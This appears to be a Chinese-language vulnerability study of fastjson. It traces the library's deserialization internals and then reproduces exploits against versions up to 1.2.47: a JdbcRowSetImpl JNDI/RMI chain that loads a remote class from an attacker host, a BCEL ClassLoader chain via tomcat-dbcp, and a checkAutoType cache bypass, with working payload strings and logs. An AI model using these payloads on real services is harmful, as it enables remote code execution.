简介
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean 。
FastJson API
Github - fastjson/src/main/java/com/alibaba/fastjson/JSON.java
以下列出部分 API:
package com.alibaba.fastjson;
public abstract class JSON {
public static Object parse(...);
public static <T> T parseObject(...);
public static <T> List<T> parseArray(...);
public static String toJSONString(...);
public static byte[] toJSONBytes(...);
public static void writeJSONString(...);
}
序列化 API
toJsonString()
将 Java 基本类型和 JavaBean 转换成 jsonString。
toJsonBytes()
将 Java 基本类型和 JavaBean 转换成 JSON 格式的字符串,并以 UTF-8 的 Byte[] 数组形式返回。
writeJSONString()
将 Java 基本类型和 JavaBean 转换成 JSON 格式的字符串,并将其保存到 Write、OutputStream 中返回。
反序列化 API
parse()
将 JSON 格式的字符串反序列化为 JSONObject 或者 JSONArray 。
parseObject()
将 JSON 格式的字符串反序列化为 JSONObject 或者 JavaBean 。
parseArray()
将 JSON 格式的字符串反序列化为 JSONArray 或者 JavaBean 集合。
FastJson 解析方式
字符串解析为 JSONObject
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
System.out.println(jsonObject.getString("param1"));
}
}
// {"param1":"aaa","param2":"bbb"}
// aaa
字符串解析为 Java 对象
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
class Person {
private String name;
private int age;
public Person(String name, int age){ this.name = name;this.age = age; }
public Person(){ System.out.println("constructor"); }
public String getName() { System.out.println("getName");return this.name; }
public void setName(String name) { System.out.println("setName");this.name = name; }
public int getAge() { System.out.println("getAge");return this.age; }
public void setAge(int age) { System.out.println("setAge");this.age = age; }
}
public class Main {
public static void main(String[] args) {
String s = "{\"age\":18,\"name\":\"abc\"}";
Person person = JSON.parseObject(s,Person.class);
System.out.println(person.getName());
}
}
/*
constructor
setAge
setName
getName
abc
*/
字符串解析为任意对象
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
class Person {
private String name;
private int age;
public Person(String name, int age){this.name = name;this.age = age;}
public Person(){System.out.println("constructor");}
public String getName() {System.out.println("getName");return this.name;}
public void setName(String name) {System.out.println("setName");this.name = name;}
public int getAge() {System.out.println("getAge");return this.age;}
public void setAge(int age) { System.out.println("setAge");this.age = age;}
}
public class Main {
public static void main(String[] args) {
String s = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"abc\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}
/*
constructor
setAge
setName
getAge
getName
{"name":"abc","age":18}
*/
FastJson 解析过程
- FastJson 版本为 1.2.24
// org.example.Person
package org.example;
import java.util.Map;
public class Person {
private String name;
private int age;
private Map<String, Integer> map;
public Person(String name, int age) {this.name = name;this.age = age;}
public Person() {System.out.println("constructor");}
public String getName() {System.out.println("getName");return this.name;}
public void setName(String name) {System.out.println("setName");this.name = name;}
public int getAge() {System.out.println("getAge");return this.age;}
public void setAge(int age) {System.out.println("setAge");this.age = age;}
public Map<String, Integer> getMap() {System.out.println("getMap");return map;}
}
// org.example.Main
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String s = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"abc\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}
/*
constructor
setAge
setName
getAge
getMap
getName
{"name":"abc","age":18}
*/
通过以上的示例可以发现在反序列化的时候实例方法的执行过程,通过断点可以进一步进行分析。
// com.alibaba.fastjson.JSON #135
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject) obj : (JSONObject) toJSON(obj);
}
// ↓ parse(text)
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
// ↓ parse(text, DEFAULT_PARSER_FEATURE)
public static Object parse(String text, int features) {
if(text == null) {
return null;
} else {
// 执行以下代码
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
以上代码则是进入反序列化前的过程,通过 DefaultJSONParser 来解析 JSON 字符串。通过实例化 DefaultJSONParser 执行其构造函数可以实例化 JSONScanner 类并进行词法分析,将输入的 JSON 文本分解为一系列可识别的标记(token)。
public DefaultJSONParser(String input, ParserConfig config, int features) {
this(input, new JSONScanner(input, features), config);
}
之后通过调用 parse()
方法开始进行反序列化操作,首先识别到左大括号故执行实例化 JSONObject 类,后识别到第一个字段,也是特殊字段 @type
,故进入到以下代码块中。
// com.alibaba.fastjson.parser.DefaultJSONParser #274
if(key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class <? > clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if(clazz != null) {
lexer.nextToken(16);
if(lexer.token() != 13) {
...
// 获取目标类的反序列化器
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
// 反序列化
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
}
lexer.nextToken(16);
try {
instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if(deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}
if(instance == null) {
if(clazz == Cloneable.class) {
instance = new HashMap();
} else if("java.util.Collections$EmptyMap".equals(ref)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}
obj = instance;
return obj;
} catch(Exception var23) {
throw new JSONException("create instance error", var23);
}
}
object.put(JSON.DEFAULT_TYPE_KEY, ref);
}
在以上代码块中,JSON.DEFAULT_TYPE_KEY 即是 @type
,Feature.DisableSpecialKeyDetect 即为是否禁用特殊键的检测和处理(默认关闭)。上述代码中 ref 用于读取类名,通过 TypeUtils.loadClass
加载指定的类,使用的类加载器可以是默认的,也可以是配置的类加载器。
进入到 TypeUtils.loadClass()
方法后,首先会从类加载器的缓存(mappings)中寻找目标类。
由于 Person 类为用户定义的,故缓存不存在,因此下一步即通过当前线程的上下文类加载器来加载类。之后会执行 this.config.getDeserializer(clazz) 即 ObjectDeserializer getDeserializer(Type type)
方法来获取目标类的反序列化器。该方法通过分类进入到 ObjectDeserializer getDeserializer(Class<?> clazz, Type type)
方法,以下会省略一些代码。
// com.alibaba.fastjson.parser.ParserConfig #287
public ObjectDeserializer getDeserializer(Class <? > clazz, Type type) {
ObjectDeserializer derializer = (ObjectDeserializer) this.derializers.get(type);
if(derializer != null) {
...
} else {
if(type == null) {
type = clazz;
}
ObjectDeserializer derializer = (ObjectDeserializer) this.derializers.get(type);
if(derializer != null) {
...
} else {
...
if(derializer != null) {
...
} else {
String className = clazz.getName();
// 将类名中的 $ 符号转换为 .
className = className.replace('$', '.');
...
if(derializer != null) {
...
} else {
...
if(clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) {
if(Collection.class.isAssignableFrom(clazz)) {
...
} else {
derializer = this.createJavaBeanDeserializer(clazz, (Type) type);
}
} else {
...
}
this.putDeserializer((Type) type, (ObjectDeserializer) derializer);
return(ObjectDeserializer) derializer;
}
}
}
}
}
以上代码中 derializer = this.createJavaBeanDeserializer(clazz, (Type) type);
,故通过该方法来创建反序列化器。
// com.alibaba.fastjson.parser.ParserConfig #424
public ObjectDeserializer createJavaBeanDeserializer(Class <? > clazz, Type type) {
// 指示是否启用 ASM(一个流行的 Java 字节码操作和分析框架)来创建反序列化器。
//ASM 通常用于动态生成或修改类和方法,这在序列化和反序列化过程中可以提高性能。(默认为 True)
boolean asmEnable = this.asmEnable;
...
JavaBeanInfo beanInfo;
if(asmEnable) {
...
beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
...
}
...
}
以上代码中 beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);
,故通过该方法来构建一个 Java Bean 的元信息对象 JavaBeanInfo
。这个元信息对象包含了关于 Java Bean 类的各种信息,例如属性、方法、字段等。
// com.alibaba.fastjson.util.JavaBeanInfo #116
public static JavaBeanInfo build(Class <? > clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
JSONType jsonType = (JSONType) clazz.getAnnotation(JSONType.class);
Class <? > builderClass = getBuilderClass(jsonType);
// 通过 Java 反射 API 获取一个类中声明的所有字段,无论其访问权限如何。
Field[] declaredFields = clazz.getDeclaredFields();
// 通过 Java 反射 API 获取所有公共成员方法。
Method[] methods = clazz.getMethods();
// 获取目标类的默认构造函数
Constructor <? > defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
...
if(defaultConstructor == null && !clazz.isInterface() && !Modifier.isAbstract(clazz.getModifiers())) {
...
} else {
...
for(i = 0; i < var29; ++i) {
method = var30[i];
ordinal = 0;
int serialzeFeatures = 0;
parserFeatures = 0;
String methodName = method.getName();
/**
* 方法名长度是否大于 3 (去掉 set/get)
* 方法是否非静态
* 方法返回类型是否为 void (故 getter 方法无法进入)
* 返回类型是否与声明该方法的类相同
*/
if(methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
// 获取方法的所有参数类型
Class <? > [] types = method.getParameterTypes();
if(types.length == 1) {
...
// 判断是否为 setter 方法
if(methodName.startsWith("set")) {
// 获取第四个字符
c3 = methodName.charAt(3);
String propertyName;
// 判断第四个字符是否为大写并且 ASCII 码小于等于 512
if(!Character.isUpperCase((char) c3) && c3 <= 512) {
if(c3 == 95) {
// 如果第四个字符为 下划线 则属性名从第五个字符开始
propertyName = methodName.substring(4);
} else if(c3 == 102) {
// 如果第四个字符为 f 则属性名从第四个字符开始
propertyName = methodName.substring(3);
} else {
// 如果方法名长度小于 5 或者第五个字符不是大写字母,则继续循环
if(methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {
continue;
}
propertyName = TypeUtils.decapitalize(methodName.substring(3));
}
} else if(TypeUtils.compatibleWithJavaBean) { // 是否应该遵循 Java Bean 的命名约定
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
// setName, setAge 方法会跳转到这里,propertyName 值分别为 name, age
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
// 获取该 setter 方法的字段
Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if(field == null && types[0] == Boolean.TYPE) {
isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}
...
// 此时 name, age 便加入到了 fieldList 列表中
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String) null));
}
}
}
}
...
var30 = clazz.getMethods();
var29 = var30.length;
for(i = 0; i < var29; ++i) {
method = var30[i];
String methodName = method.getName();
/**
* 方法名长度是否大于 3 (去掉 set/get)
* 方法是否非静态
* 方法名是否以 get 开头
* 方法名的第四个字符是否是大写字母
* 方法是否没有参数
* 方法的返回类型是否是以下之一
* - Collection 类或其子类
* - Map 类或其子类
* - AtomicBoolean 类
* - AtomicInteger 类
* - AtomicLong 类
*/
if(methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
JSONField annotation = (JSONField) method.getAnnotation(JSONField.class);
if(annotation == null || !annotation.deserialize()) {
String propertyName;
if(annotation != null && annotation.name().length() > 0) {
...
} else {
// 只有 getMap() 方法能够进来,此时 propertyName 为 map
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
fieldInfo = getField(fieldList, propertyName);
if(fieldInfo == null) {
...
// 此时 map 便加入到了 fieldList 列表中
add(fieldList, new FieldInfo(propertyName, method, (Field) null, clazz, type, 0, 0, 0, annotation, (JSONField) null, (String) null));
}
}
}
}
return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor) null, (Method) null, buildMethod, jsonType, fieldList);
}
}
通过上述代码可以发现,该方法获取属性的方法是通过三轮来实现的,首先第一轮是遍历一遍 setter 方法,第二轮是遍历 public 类型的字段,第三轮是遍历 getter 方法。其中第二轮由于 Person 类并没有 public 类型的成员变量因此忽略掉了,此时再通过其他步骤即完成了反序列化器的创建。
反序列化器的创建完成后,回到 com.alibaba.fastjson.parser.DefaultJSONParser #293 ,开始执行 deserializer.deserialze(this, clazz, fieldName)
方法,即开始反序列化。
// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer #283
protected < T > T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
...
label1064: {
...
label1011: {
...
if(object == null && fieldValues == null) {
// 创建 Person 对象实例并执行无参构造函数
object = this.createInstance(parser, type);
...
}
if(matchField) {
if(!valueParsed) {
...
} else {
if(object == null) {
...
} else {
// com.alibaba.fastjson.parser.deserializer.FieldDeserializer #89
// 通过 method.invoke(object, value); 执行实例中对应的 setter 方法
fieldDeser.setValue(object, fieldValue);
}
...
}
} else {
...
}
...
}
...
}
}
到这里反序列化就结束了,退回到 parse(text, DEFAULT_PARSER_FEATURE)
并向下开始执行,到最后的返回会执行一次 toJSON(obj)
,在这其中会调用实例中字段的 getter 方法,截取代码如下。
// com.alibaba.fastjson.JSON #592
public static Object toJSON(Object javaObject, SerializeConfig config) {
if(javaObject == null) {
...
} else {
Iterator var17;
Object item;
if(javaObject instanceof Map) {
...
} else {
Class <? > clazz = javaObject.getClass();
if(clazz.isEnum()) {
...
} else {
ObjectSerializer serializer = config.getObjectWriter(clazz);
if(serializer instanceof JavaBeanSerializer) {
JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer) serializer;
JSONObject json = new JSONObject();
try {
// getFieldValuesMap() 方法会执行所有字段的 getter 方法
Map < String, Object > values = javaBeanSerializer.getFieldValuesMap(javaObject); // ↓
...
} catch(Exception var9) {
throw new JSONException("toJSON error", var9);
}
}
...
}
}
}
}
// com.alibaba.fastjson.serializer.JavaBeanSerializer #354
public Map < String, Object > getFieldValuesMap(Object object) throws Exception {
Map < String, Object > map = new LinkedHashMap(this.sortedGetters.length);
FieldSerializer[] var3 = this.sortedGetters;
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
FieldSerializer getter = var3[var5];
map.put(getter.fieldInfo.name, getter.getPropertyValue(object)); // ↓
}
return map;
}
// com.alibaba.fastjson.serializer.FieldSerializer #101
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = this.fieldInfo.get(object);
...
}
// com.alibaba.fastjson.util.FieldInfo #392
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
if(this.method != null) {
// 调用实例中的对应 getter 方法
Object value = this.method.invoke(javaObject);
return value;
} else {
return this.field.get(javaObject);
}
}
FastJson <= 1.2.24
- CVE-2017-18349
- IDEA Java Version: 1.8.0_392
JdbcRowSetImpl 类
- 靶机 Java 版本推荐为 1.8.0_102
攻击过程
// ~/temp/touchFile.java
import java.lang.Runtime;
public class touchFile{
public touchFile(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
touchFile c = new touchFile();
}
}
通过 javac touchFile.java
编译成字节码文件 touchFile.class
,然后通过以下命令运行一个 Http Server 。
~/temp $ python3 -m http.server 1337
通过以下命令运行来开启一个 RMI 服务。
~/marshalsec/target $ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<攻击机 IP>:1337/#touchFile" 9999
通过在本地 IDE 编写来进行反序列化。
package org.example;
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://<攻击机 IP>:9999/touchFile\",\"autoCommit\":true}";
JSON.parseObject(s);
}
}
此时 CLI 反显如下。
~/temp python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
<靶机 IP> - - [14/Jan/2024 08:00:00] "GET /touchFile.class HTTP/1.1" 200 -
~/marshalsec/target $ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<攻击机 IP>:1337/#touchFile" 9999
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 9999
Have connection from /<靶机 IP>:50541
Reading message...
Is RMI.lookup call for touchFile 2
Sending remote classloading stub targeting http://<攻击机 IP>:1337/touchFile.class
Closing connection
反序列化
- JavaBeanDeserializer.deserialze()
- JavaBeanDeserializer.parseField()
- DefaultFieldDeserializer.parseField()
// com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer #44
public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map < String, Object > fieldValues) {
...
if(parser.getResolveStatus() == 1) {
...
} else {
this.setValue(object, value);
}
}
通过 DefaultFieldDeserializer.parseField() 方法实现执行 JdbcRowSetImpl.setDataSourceName(), JdbcRowSetImpl.setAutoCommit() 方法。
// com.sun.rowset.JdbcRowSetImpl #4053
public void setAutoCommit(boolean autoCommit) throws SQLException {
if(conn != null) {
...
} else {
conn = connect();
conn.setAutoCommit(autoCommit);
}
}
执行 JdbcRowSetImpl.setAutoCommit() 方法时候会执行 JdbcRowSetImpl.connect() 方法
// com.sun.rowset.JdbcRowSetImpl #608
private Connection connect() throws SQLException {
if(conn != null) {
...
} else if(getDataSourceName() != null) {
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(getDataSourceName());
...
} catch(javax.naming.NamingException ex) {
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
}
...
}
JdbcRowSetImpl.connect() 方法会执行 InitialContext.lookup() 方法读取恶意类,弹出计算器,以下是调用链。
<init>:289, Label (org.jetbrains.capture.org.objectweb.asm)
<clinit>:130, Label (org.jetbrains.capture.org.objectweb.asm)
<clinit>:2679, ClassReader (org.jetbrains.capture.org.objectweb.asm)
transform:129, CaptureAgent$CaptureTransformer (com.intellij.rt.debugger.agent)
transform:188, TransformerManager (sun.instrument)
transform:428, InstrumentationImpl (sun.instrument)
scheduleWithFixedDelay:590, ScheduledThreadPoolExecutor (java.util.concurrent)
free:351, TCPChannel (sun.rmi.transport.tcp)
free:432, UnicastRef (sun.rmi.server)
done:449, UnicastRef (sun.rmi.server)
lookup:132, RegistryImpl_Stub (sun.rmi.registry)
lookup:132, RegistryContext (com.sun.jndi.rmi.registry)
lookup:218, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
parseObject:201, JSON (com.alibaba.fastjson)
main:14, Main (org.example)
题外话
复现的时候发现虽然 JDK 版本是 1.8.0 但是还是无法复现,通过这篇文章找到了答案。
https://blog.csdn.net/weixin_54648419/article/details/123221292
rmi在6u132, 7u122, 8u113之前可以用,此后系统属性 com.sun.jndi.rmi.object.trustURLCodebase, com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为 false ,如需利用还需添加代码
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
BCEL ClassLoader
攻击原理
先编写恶意类。
// org.example.Evil
package org.example;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
然后通过 javac Evail.java
进行编译,之后通过 BCEL ClassLoader 进行攻击。
// org.example.Main
package org.example;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.InputStream;
import java.nio.file.Files;
public class Main {
public static byte[] fileToBinArray(File file){
try {
InputStream fis = Files.newInputStream(file.toPath());
return FileCopyUtils.copyToByteArray(fis);
}catch (Exception e){
throw new RuntimeException("Error: ", e);
}
}
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("Evil.class"));
String code = Utility.encode(bytes, true);
classLoader.loadClass("$$BCEL$$" + code).newInstance();
}
}
进入 ClassLoader.loadClass()
后,会对恶意类进行加载。
// com.sun.org.apache.bcel.internal.util.ClassLoader #92
protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {
Class cl = null;
if((cl = (Class) classes.get(class_name)) == null) {
...
if(cl == null) {
JavaClass clazz = null;
if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name);
else {
...
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else
cl = Class.forName(class_name);
}
if(resolve) resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
为了能够进入 ClassLoader.CreateClass()
方法,故需要在最前面加上 $$BCEL$$
。
// com.sun.org.apache.bcel.internal.util.ClassLoader #162
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass) cp.getConstant(clazz.getClassNameIndex(), Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8) cp.getConstant(cl.getNameIndex(), Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
return clazz;
}
由于该方法会执行一次 Utility.decode()
故还需要对 Exp 进行 Utility.encode()
,最后创建完类后通过 Class.newInstance()
方法创建对象执行恶意代码。
攻击链
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource.getConnection()
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createDataSource()
- org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createConnectionFactory()
- com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass()
Exp 如下所示。
package org.example;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.InputStream;
import java.nio.file.Files;
public class Main {
public static byte[] fileToBinArray(File file){
try {
InputStream fis = Files.newInputStream(file.toPath());
return FileCopyUtils.copyToByteArray(fis);
}catch (Exception e){
throw new RuntimeException("Error: ", e);
}
}
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Project\\Java-test\\FastJsonJdbc\\target\\classes\\org\\example\\Evil.class"));
String code = Utility.encode(bytes, true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
}
pom.xml
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.10</version>
</dependency>
</dependencies>
FastJson <= 1.2.47
- FastJson Version 1.2.25
区别
// com.alibaba.fastjson.parser.DefaultJSONParser.parseObject() #274 FastJson 1.2.24
if(key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class <? > clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
...
}
// com.alibaba.fastjson.parser.DefaultJSONParser.parseObject() #274 FastJson 1.2.25
if(key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class <? > clazz = this.config.checkAutoType(ref, (Class) null);
...
}
FastJson 1.2.25 在反序列化的时候并没有直接通过 TypeUtils.loadClass()
加载类,而是加入了一个 check 方法并在该方法内来加载类。
// com.alibaba.fastjson.parser.ParserConfig #704
public Class <? > checkAutoType(String typeName, Class <? > expectClass) {
if(typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if(this.autoTypeSupport || expectClass != null) {
...
}
Class <? > clazz = TypeUtils.getClassFromMapping(typeName);
if(clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if(clazz != null) {
if(expectClass != null && !expectClass.isAssignableFrom(clazz)) {
...
} else {
return clazz;
}
} else {
if(!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if(className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if(className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if(expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if(this.autoTypeSupport || expectClass != null) {
...
}
if(clazz != null) {
if(ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if(expectClass != null) {
...
}
}
if(!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
expectClass 和 autoTypeSupport 默认为 null ,故忽略部分与之有关的代码。
在 checkAutoType()
中,会先执行 TypeUtils.getClassFromMapping()
即从缓存中获取,但利用 JdbcRowSetImpl 类进行反序列化时 JdbcRowSetImpl 类并不在缓存中,故它又会执行 this.deserializers.findClass()
来寻找类,结果很明显还是找不到,故 clazz 依旧为 null 。之后就会进入 denyList 循环中,即黑名单,由于在黑名单内,于是采用 1.2.24 版本的出网 Exp 无法使用。
在上述截取的代码中想要在该方法中返回类的方法:
- 目标类在缓存中;
- 目标类在白名单 acceptList 中;
- 期望类为空且为期望类的子类。
当 @type
中的类在缓存中时,以 java.lang.Class
为例,Payload 如下。
{
"type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
// com.alibaba.fastjson.parser.DefaultJSONParser.parseObject() #318
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
此时获取的反序列化器为 MiscCodec 。
// com.alibaba.fastjson.serializer.MiscCodec #175
public < T > T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if(clazz == InetSocketAddress.class) {
...
} else {
Object objVal;
if(parser.resolveStatus == 2) {
...
} else {
objVal = parser.parse();
}
String strVal;
if(objVal == null) {
strVal = null;
} else {
if(!(objVal instanceof String)) {
if(objVal instanceof JSONObject && clazz == Map.Entry.class) {
JSONObject jsonObject = (JSONObject) objVal;
return jsonObject.entrySet().iterator().next();
}
throw new JSONException("expect string");
}
strVal = (String) objVal;
}
if(strVal != null && strVal.length() != 0) {
if(clazz == UUID.class) {
...
} else if(clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if(clazz == File.class) {
...
} else {
...
if(clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
} else {
...
}
}
} else {
...
}
} else {
return null;
}
}
}
最后会匹配到 clazz == Class.class
并执行 TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
,此时的 strVal 就是 Payload 中的 val 的值 com.sun.rowset.JdbcRowSetImpl
